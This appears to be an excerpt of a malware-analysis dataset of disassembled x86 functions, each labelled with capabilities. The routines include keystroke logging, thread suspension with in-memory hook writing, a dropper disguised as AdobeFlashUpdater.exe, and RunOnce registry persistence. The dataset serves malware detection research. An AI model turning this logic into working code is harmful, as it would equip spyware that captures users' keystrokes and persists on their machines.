joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10009b10
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [0x1001600c]
xor eax, esp
mov dword [esp + 0x64], eax
push esi
mov esi, ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
push edi
cmp edx, 0x2e
ja case.0x10009b40.7
movzx eax, byte [edx + 0x10009cfc]
jmp dword [eax*4 + 0x10009cd8]
push 4
push str.none
jmp 0x10009cab
push 0xa
push str.left_mouse
jmp 0x10009cab
push 0xb
push str.right_mouse
jmp 0x10009cab
push 6
push str.cancel
jmp 0x10009cab
push 0xc
push str.middle_mouse
jmp 0x10009cab
push 9
push str.xbutton_1
jmp 0x10009cab
push 9
push str.xbutton_2
jmp 0x10009cab
push 6
push str.delete
jmp 0x10009cab
push 0x10
lea eax, [esp + 0x50]
xorps xmm0, xmm0
push eax
push 0
push edx
movups xmmword [esp + 0x5c], xmm0
movups xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
je 0x10009ca2
xor eax, eax
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x4c]
mov dword [esp + 0x34], 7
mov word [esp + 0x20], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10009bf4
sub ecx, edx
lea eax, [esp + 0x4c]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.1000a240
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x20]
cmovae eax, edx
lea edi, [esp + 0x20]
mov dword [esp + 0x14], eax
cmovae ecx, edx
mov eax, dword [esp + 0x30]
cmovae edi, edx
lea ecx, [ecx + eax*2]
mov dword [esp + 0x18], ecx
cmp edi, ecx
je 0x10009c6e
sub dword [esp + 0x14], edi
mov esi, dword [esp + 0x14]
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [esi + edi], ax
add esp, 4
add edi, 2
cmp edi, dword [esp + 0x18]
jne 0x10009c50
mov esi, dword [esp + 0x1c]
movups xmm0, xmmword [esp + 0x20]
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x30]
movq qword [esi + 0x10], xmm0
pop edi
pop esi
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
push 0xb
push str.unknown_key
mov ecx, esi
mov dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
call fcn.1000a240
mov ecx, dword [esp + 0x6c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
Function at 0x10009ba7
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [0x1001600c]
xor eax, esp
mov dword [esp + 0x64], eax
push esi
mov esi, ecx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x14], esi
push edi
cmp edx, 0x2e
ja case.0x10009b40.7
movzx eax, byte [edx + 0x10009cfc]
jmp dword [eax*4 + 0x10009cd8]
push 4
push str.none
jmp 0x10009cab
push 0xa
push str.left_mouse
jmp 0x10009cab
push 0xb
push str.right_mouse
jmp 0x10009cab
push 6
push str.cancel
jmp 0x10009cab
push 0xc
push str.middle_mouse
jmp 0x10009cab
push 9
push str.xbutton_1
jmp 0x10009cab
push 9
push str.xbutton_2
jmp 0x10009cab
push 6
push str.delete
jmp 0x10009cab
push 0x10
lea eax, [esp + 0x50]
xorps xmm0, xmm0
push eax
push 0
push edx
movups xmmword [esp + 0x5c], xmm0
movups xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
shl eax, 0x10
push eax
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
test eax, eax
je 0x10009ca2
xor eax, eax
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x4c]
mov dword [esp + 0x34], 7
mov word [esp + 0x20], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10009bf4
sub ecx, edx
lea eax, [esp + 0x4c]
sar ecx, 1
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.1000a240
cmp dword [esp + 0x34], 8
lea eax, [esp + 0x20]
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x20]
cmovae eax, edx
lea edi, [esp + 0x20]
mov dword [esp + 0x14], eax
cmovae ecx, edx
mov eax, dword [esp + 0x30]
cmovae edi, edx
lea ecx, [ecx + eax*2]
mov dword [esp + 0x18], ecx
cmp edi, ecx
je 0x10009c6e
sub dword [esp + 0x14], edi
mov esi, dword [esp + 0x14]
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_towlower]
mov word [esi + edi], ax
add esp, 4
add edi, 2
cmp edi, dword [esp + 0x18]
jne 0x10009c50
mov esi, dword [esp + 0x1c]
movups xmm0, xmmword [esp + 0x20]
mov dword [esi + 0x10], 0
mov eax, esi
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [esp + 0x30]
movq qword [esi + 0x10], xmm0
pop edi
pop esi
mov ecx, dword [esp + 0x64]
xor ecx, esp
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
push 0xb
push str.unknown_key
mov ecx, esi
mov dword [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 7
mov word [esi], ax
call fcn.1000a240
mov ecx, dword [esp + 0x6c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
Function at 0x1000c340
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov ecx, dword [0x1001681c]
push ebx
push esi
push edi
mov eax, dword [ecx]
mov eax, dword [eax + 0x20]
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1000c3c8
mov edi, dword [ebp + 8]
mov esi, dword [eax + 8]
mov ebx, 0x811c9dc5
xor ecx, ecx
nop dword [eax]
mov al, byte [esi + ecx]
inc ecx
test al, al
jne 0x1000c370
xor edx, edx
test ecx, ecx
jle 0x1000c391
nop
movsx eax, byte [edx + esi]
inc edx
xor eax, ebx
imul ebx, eax, 0x1000193
cmp edx, ecx
jl 0x1000c380
mov esi, 0x811c9dc5
xor eax, eax
mov cl, byte [eax + edi]
inc eax
test cl, cl
jne 0x1000c398
xor edx, edx
test eax, eax
jle 0x1000c3b7
movsx ecx, byte [edx + edi]
inc edx
xor ecx, esi
imul esi, ecx, 0x1000193
cmp edx, eax
jl 0x1000c3a6
mov eax, dword [ebp - 4]
cmp ebx, esi
je 0x1000c3d3
mov eax, dword [eax + 0x10]
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000c363
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
push dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
push dword [eax + 0xc]
call fcn.1000c3f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x1000c3f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x10], ecx
cmp dword [ebx + 4], 0
mov dword [ebp - 0xc], 0
jle 0x1000c4d8
mov edi, dword [ebp + 0xc]
xor eax, eax
mov dword [ebp - 8], eax
nop dword [eax + eax]
mov ebx, dword [ebx]
add ebx, eax
je 0x1000c4a2
mov esi, dword [ebx]
xor ecx, ecx
mov dword [ebp - 4], 0x811c9dc5
mov al, byte [ecx + esi]
inc ecx
test al, al
jne 0x1000c435
xor edx, edx
test ecx, ecx
jle 0x1000c45d
mov edi, dword [ebp - 4]
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jl 0x1000c446
mov dword [ebp - 4], edi
mov edi, dword [ebp + 0xc]
mov esi, 0x811c9dc5
xor eax, eax
mov cl, byte [eax + edi]
inc eax
test cl, cl
jne 0x1000c464
xor edx, edx
test eax, eax
jle 0x1000c483
movsx ecx, byte [edx + edi]
inc edx
xor ecx, esi
imul esi, ecx, 0x1000193
cmp edx, eax
jl 0x1000c472
cmp dword [ebp - 4], esi
je 0x1000c4cc
mov eax, dword [ebx + 0x28]
test eax, eax
je 0x1000c49f
mov ecx, dword [ebp - 0x10]
push edi
push eax
call fcn.1000c3f0
mov ecx, eax
test ecx, ecx
jne 0x1000c4be
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
add eax, 0x3c
mov ecx, dword [ebp + 8]
inc ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], eax
cmp ebx, dword [ecx + 4]
jge 0x1000c4d8
mov ebx, ecx
jmp 0x1000c420
mov eax, dword [ebx + 0x2c]
pop edi
pop esi
add eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebx + 0x2c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000db20
Capabilities:
Enumerate threads
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x24], edx
push edi
push 0
push 4
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x1000dc1a
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1000dc13
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x20], 0x10
jb 0x1000dbf9
call ebx
cmp dword [ebp - 0x14], eax
jne 0x1000dbf9
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x1000dbf9
mov edx, dword [esi]
test edx, edx
jne 0x1000dbc2
push 0x200
push edx
push dword [0x10016818]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x1000dc13
jmp 0x1000dbed
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x1000dbed
shl eax, 3
push eax
push edx
push 0
push dword [0x10016818]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x1000dc13
mov eax, dword [esi + 4]
add eax, eax
mov dword [esi], edx
mov dword [esi + 4], eax
mov ecx, dword [esi + 8]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [esi + 8]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000db81
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi], 0
je 0x1000dc5f
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x1000dc5f
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x1000dc59
push ebx
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 0x24]
mov ecx, ebx
call fcn.1000d9b0
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x1000dc26
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
Function at 0x1000dc70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x1001600c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
imul esi, ecx, 0x2c
push edi
add esi, dword [0x10016900]
mov eax, dword [esi]
mov cl, byte [esi + 0x14]
and cl, 1
lea edi, [eax - 5]
cmove edi, eax
movzx eax, cl
lea ebx, [eax*2 + 5]
lea eax, [ebp - 8]
push eax
push 0x40
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1000dccc
pop edi
pop esi
mov eax, 0xa
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000ec39
mov esp, ebp
pop ebp
ret
mov byte [edi], 0xe9
mov eax, dword [esi + 4]
sub eax, edi
sub eax, 5
mov dword [edi + 1], eax
test byte [esi + 0x14], 1
je 0x1000dce7
mov eax, dword [esi]
mov word [eax], 0xf9eb
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
or byte [esi + 0x14], 6
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000ec39
mov esp, ebp
pop ebp
ret

Function at 0x1000dd20
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov ecx, dword [0x10016908]
push ebx
push esi
xor ebx, ebx
xor esi, esi
mov dword [ebp - 4], ebx
test ecx, ecx
je 0x1000ddfd
mov eax, dword [0x10016900]
add eax, 0x14
test byte [eax], 2
je 0x1000dd5a
inc esi
add eax, 0x2c
cmp esi, ecx
jb 0x1000dd45
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
cmp esi, 0xffffffff
je 0x1000ddfd
push edi
push 1
or edx, 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.1000db20
mov ecx, dword [0x10016908]
add esp, 4
cmp esi, ecx
jae 0x1000ddab
imul edi, esi, 0x2c
mov eax, dword [0x10016900]
test byte [edi + eax + 0x14], 2
jne 0x1000dda0
mov ecx, esi
call fcn.1000dc70
mov ebx, eax
test ebx, ebx
jne 0x1000dda8
mov ecx, dword [0x10016908]
inc esi
add edi, 0x2c
cmp esi, ecx
jb 0x1000dd81
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1000ddfc
xor esi, esi
cmp dword [ebp - 8], esi
jbe 0x1000dded
mov ebx, eax
nop dword [eax + eax]
push dword [ebx + esi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1000dde1
push edi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, dword [ebp - 8]
jb 0x1000ddc0
mov ebx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
push eax
push 0
push dword [0x10016818]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402e3b
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4151c4], 0
jne 0x402e49
call fcn.00402e11
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jbe 0x402e76
test cl, 7
je 0x402e76
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec esi
inc ecx
jmp 0x402e57
cmp esi, 8
jb 0x402efa
mov edi, esi
shr edi, 3
xor eax, dword [ecx]
add ecx, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
sub esi, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
mov edx, eax
movzx eax, dl
mov eax, dword [eax*4 + 0x4151c0]
xor eax, dword [ecx - 4]
shr edx, 8
xor eax, edx
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec edi
jne 0x402e80
xor edx, edx
test esi, esi
jbe 0x402f1a
push ebx
movzx edi, byte [edx + ecx]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x4151c0]
inc edx
cmp edx, esi
jb 0x402f01
pop ebx
pop edi
pop esi
ret 0xc

Function at 0x4033e8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00401200
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 3
jne 0x40347a
push esi
push edi
mov edi, 0x400
push edi
lea eax, [ebp - 0x800]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407bbb
lea eax, [ebp - 0x800]
push eax
call fcn.0040b0af
mov esi, eax
lea eax, [ebp - 0x800]
push eax
call fcn.004083f7
test al, al
jne 0x403456
lea eax, [ebp - 0x1000]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x1000]
push eax
call fcn.0040b0af
lea esi, [esi + eax + 1]
mov eax, 0x104
pop edi
cmp esi, eax
pop esi
jbe 0x40347a
push eax
push 0xaf
call fcn.0040a3eb
push eax
push 0x413300
call fcn.0040bf52
add esp, 0xc
leave
ret 8
Function at 0x40a499
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
push 0x20
push dword [ebp + 8]
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 8], ecx
call fcn.0040adad
xor eax, eax
push 4
xor ecx, ecx
mov dword [ebp + 8], eax
xor ebx, ebx
pop edx
cmp eax, 0xa
jg 0x40a5a7
cmp ebx, edx
jge 0x40a4ee
lea esi, [ebp + ebx*4 - 0x28]
mov dword [ebp - 4], esi
cmp ecx, edx
jge 0x40a4f0
mov edi, dword [ebp - 8]
lea esi, [ecx + eax*4]
lea edi, [edi + esi*4 + 0x14]
mov esi, dword [ebp - 4]
add dword [ebp - 4], edx
inc ebx
inc ecx
cmp ebx, edx
movsd dword es:[edi], dword [esi]
jl 0x40a4d3
cmp ecx, edx
jne 0x40a4f8
inc eax
mov dword [ebp + 8], eax
xor ecx, ecx
cmp ebx, edx
jl 0x40a4bf
cmp eax, 0xa
jg 0x40a5a7
mov dword [ebp - 4], 0x41aeb0
movzx esi, byte [ebp - 0x1b]
mov al, byte [ebp - 0x28]
xor al, byte [esi + 0x41afd0]
movzx esi, byte [ebp - 0x1a]
mov bl, byte [esi + 0x41afd0]
movzx esi, byte [ebp - 0x19]
xor byte [ebp - 0x27], bl
mov bl, byte [esi + 0x41afd0]
movzx esi, byte [ebp - 0x1c]
xor byte [ebp - 0x26], bl
mov bl, byte [esi + 0x41afd0]
mov esi, dword [ebp - 4]
xor al, byte [esi]
xor byte [ebp - 0x25], bl
inc dword [ebp - 4]
push 3
mov byte [ebp - 0x28], al
lea eax, [ebp - 0x24]
pop edi
xor esi, esi
mov bl, byte [eax + esi - 4]
xor byte [eax + esi], bl
inc esi
cmp esi, edx
jl 0x40a553
add eax, edx
dec edi
jne 0x40a551
xor ebx, ebx
cmp dword [ebp + 8], 0xa
jg 0x40a5a7
cmp ebx, edx
jge 0x40a590
lea eax, [ebp + ebx*4 - 0x28]
cmp ecx, edx
jge 0x40a592
mov esi, dword [ebp + 8]
mov edi, dword [ebp - 8]
lea esi, [ecx + esi*4]
lea edi, [edi + esi*4 + 0x14]
mov esi, eax
inc ebx
add eax, edx
inc ecx
cmp ebx, edx
movsd dword es:[edi], dword [esi]
jl 0x40a574
cmp ecx, edx
jne 0x40a599
inc dword [ebp + 8]
xor ecx, ecx
cmp ebx, edx
jl 0x40a566
cmp dword [ebp + 8], 0xa
jle 0x40a50c
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40a5ae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
add ecx, 0x24
push 4
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 9
pop edi
xor eax, eax
mov ecx, dword [ebp - 4]
lea esi, [ebp + eax - 0x1c]
add ecx, 2
mov dword [ebp - 8], edi
movzx edx, byte [ecx + 1]
movzx ebx, byte [ecx - 1]
mov dl, byte [eax + edx*4 + 0x417eb0]
xor dl, byte [eax + ebx*4 + 0x4186b0]
movzx ebx, byte [ecx - 2]
xor dl, byte [eax + ebx*4 + 0x418ab0]
movzx ebx, byte [ecx]
xor dl, byte [eax + ebx*4 + 0x4182b0]
add ecx, edi
mov byte [esi], dl
add esi, edi
dec dword [ebp - 8]
jne 0x40a5d6
inc eax
cmp eax, edi
jl 0x40a5c9
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call fcn.0040adad
add dword [ebp - 4], 0x10
dec dword [ebp - 0xc]
jne 0x40a5c7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
mov eax, dword [0x40f004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 0x1ff
lea eax, [ebp - 0x20b]
push 0
push eax
mov dword [ebp - 0x350], esi
mov byte [ebp - 0x20c], 0
call fcn.00409890
add esp, 0xc
push edi
lea ecx, [ebp - 0x20c]
push 0x200
push ecx
call fcn.00405ac2
add esp, 0xc
push esi
lea edx, [ebp - 0x20c]
push 0x200
push edx
call fcn.00405b21
add esp, 0xc
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4010de
jmp 0x401090
push edi
lea edx, [ebp - 0x20c]
push 0x200
push edx
call fcn.00405ac2
add esp, 0xc
lea eax, [ebp - 0x320]
push eax
lea ecx, [ebp - 0x20c]
push 0x200
push ecx
call fcn.00405b21
lea edx, [ebp - 0x20c]
add esp, 0xc
push edx
call ebx
add esp, 4
lea eax, [ebp - 0x34c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401090
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
lea ecx, [ebp - 0x20c]
push 0x200
push ecx
call fcn.00405ac2
add esp, 0xc
push 0x40d95c
lea edx, [ebp - 0x20c]
push 0x200
push edx
call fcn.00405b21
add esp, 0xc
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4011f2
mov al, byte [ebp - 0x34c]
test al, 0x10
je 0x4011dc
test al, 4
jne 0x4011dc
push 2
lea edx, [ebp - 0x320]
push 0x40d960
push edx
call fcn.004047bc
add esp, 0xc
test eax, eax
je 0x4011dc
push 1
lea eax, [ebp - 0x320]
push 0x40d964
push eax
call fcn.004047bc
add esp, 0xc
test eax, eax
je 0x4011dc
push edi
lea ecx, [ebp - 0x20c]
push 0x200
push ecx
call fcn.00405ac2
add esp, 0xc
lea edx, [ebp - 0x320]
push edx
lea eax, [ebp - 0x20c]
push 0x200
push eax
call fcn.00405b21
add esp, 0xc
push 0x40d968
lea ecx, [ebp - 0x20c]
push 0x200
push ecx
call fcn.00405b21
mov edx, dword [ebp - 0x350]
add esp, 0xc
push ebx
push edx
lea eax, [ebp - 0x20c]
push eax
call section..text
add esp, 0xc
lea ecx, [ebp - 0x34c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401132
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004047ad
mov esp, ebp
pop ebp
ret
Function at 0x4015b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x5c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
mov esp, ebp
pop ebp
ret

Function at 0x401780
Capabilities:
Create directory
Query environment variable

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0x104
push 0x4119d0
push str._ALLUSERSPROFILE_Application_Data
call esi
push 0
push 0x4119d0
call fcn.004048fb
add esp, 8
test eax, eax
je 0x4017bc
push 0x104
push 0x4119d0
push str._ALLUSERSPROFILE_
call esi
push 0x104
push 0x411ce8
push str._USERPROFILE_
call esi
push 0x4119d0
push 0x104
push 0x411ad8
call fcn.00405ac2
push str.TEMP
push 0x104
push 0x411ad8
call fcn.00405b21
push 0
push 0x411ad8
call fcn.004048fb
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add esp, 0x20
test eax, eax
je 0x401817
push 0
push 0x411ad8
call esi
push str.AppDataLocal
push 0x104
push 0x411ce8
call fcn.00405b21
push 0x411ce8
push 0x104
push 0x411be0
call fcn.00405ac2
push str.Temp
push 0x104
push 0x411be0
call fcn.00405b21
push 0
push 0x411be0
call fcn.004048fb
add esp, 0x2c
test eax, eax
jne 0x40191a
push 0x411be0
push 0x12c
push 0x411560
call fcn.00405ac2
push str._shaderofprov98.tmp
push 0x12c
push 0x411560
call fcn.00405b21
push 0x411be0
push 0x12c
push 0x411690
call fcn.00405ac2
push str._shaderofprovw2674.tmp
push 0x12c
push 0x411690
call fcn.00405b21
push 0x411be0
push 0x104
push 0x4118c8
call fcn.00405ac2
push str.Adobe
push 0x104
push 0x4118c8
call fcn.00405b21
add esp, 0x48
push 0
push 0x4118c8
call fcn.004048fb
add esp, 8
test eax, eax
je 0x401901
push 0
push 0x4118c8
call esi
push str.AdobeFlashUpdater.exe
push 0x104
push 0x4118c8
call fcn.00405b21
add esp, 0xc
pop esi
ret
push str.Application_Data
push 0x104
push 0x411ce8
call fcn.00405b21
push 0
push 0x411ce8
call fcn.004048fb
add esp, 0x14
test eax, eax
je 0x40194a
push 0
push 0x411ce8
call esi
push str.Local
push 0x104
push 0x411ce8
call fcn.00405b21
push 0
push 0x411ce8
call fcn.004048fb
add esp, 0x14
test eax, eax
je 0x40197a
push 0
push 0x411ce8
call esi
push 0x411ce8
push 0x104
push 0x411be0
call fcn.00405ac2
push str.Temp
push 0x104
push 0x411be0
call fcn.00405b21
push 0x411be0
push 0x12c
push 0x411560
call fcn.00405ac2
push str._shaderofprov98.tmp
push 0x12c
push 0x411560
call fcn.00405b21
push 0x411be0
push 0x12c
push 0x411690
call fcn.00405ac2
push str._shaderofprovw2674.tmp
push 0x12c
push 0x411690
call fcn.00405b21
add esp, 0x48
push 0
push 0x411be0
call fcn.004048fb
add esp, 8
test eax, eax
je 0x401a11
push 0
push 0x411be0
call esi
push 0x411be0
push 0x104
push 0x4118c8
call fcn.00405ac2
push str.Adobe
push 0x104
push 0x4118c8
call fcn.00405b21
push 0
push 0x4118c8
call fcn.004048fb
add esp, 0x20
test eax, eax
je 0x401a55
push 0
push 0x4118c8
call esi
push 0x40da3c
push 0x104
push 0x4118c8
call fcn.00405b21
add esp, 0xc
pop esi
ret
Function at 0x401a70
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000001
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x401acb
mov ecx, dword [ebp - 4]
push 0x104
push 0x4118c8
push 1
push eax
push 0x40da88
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret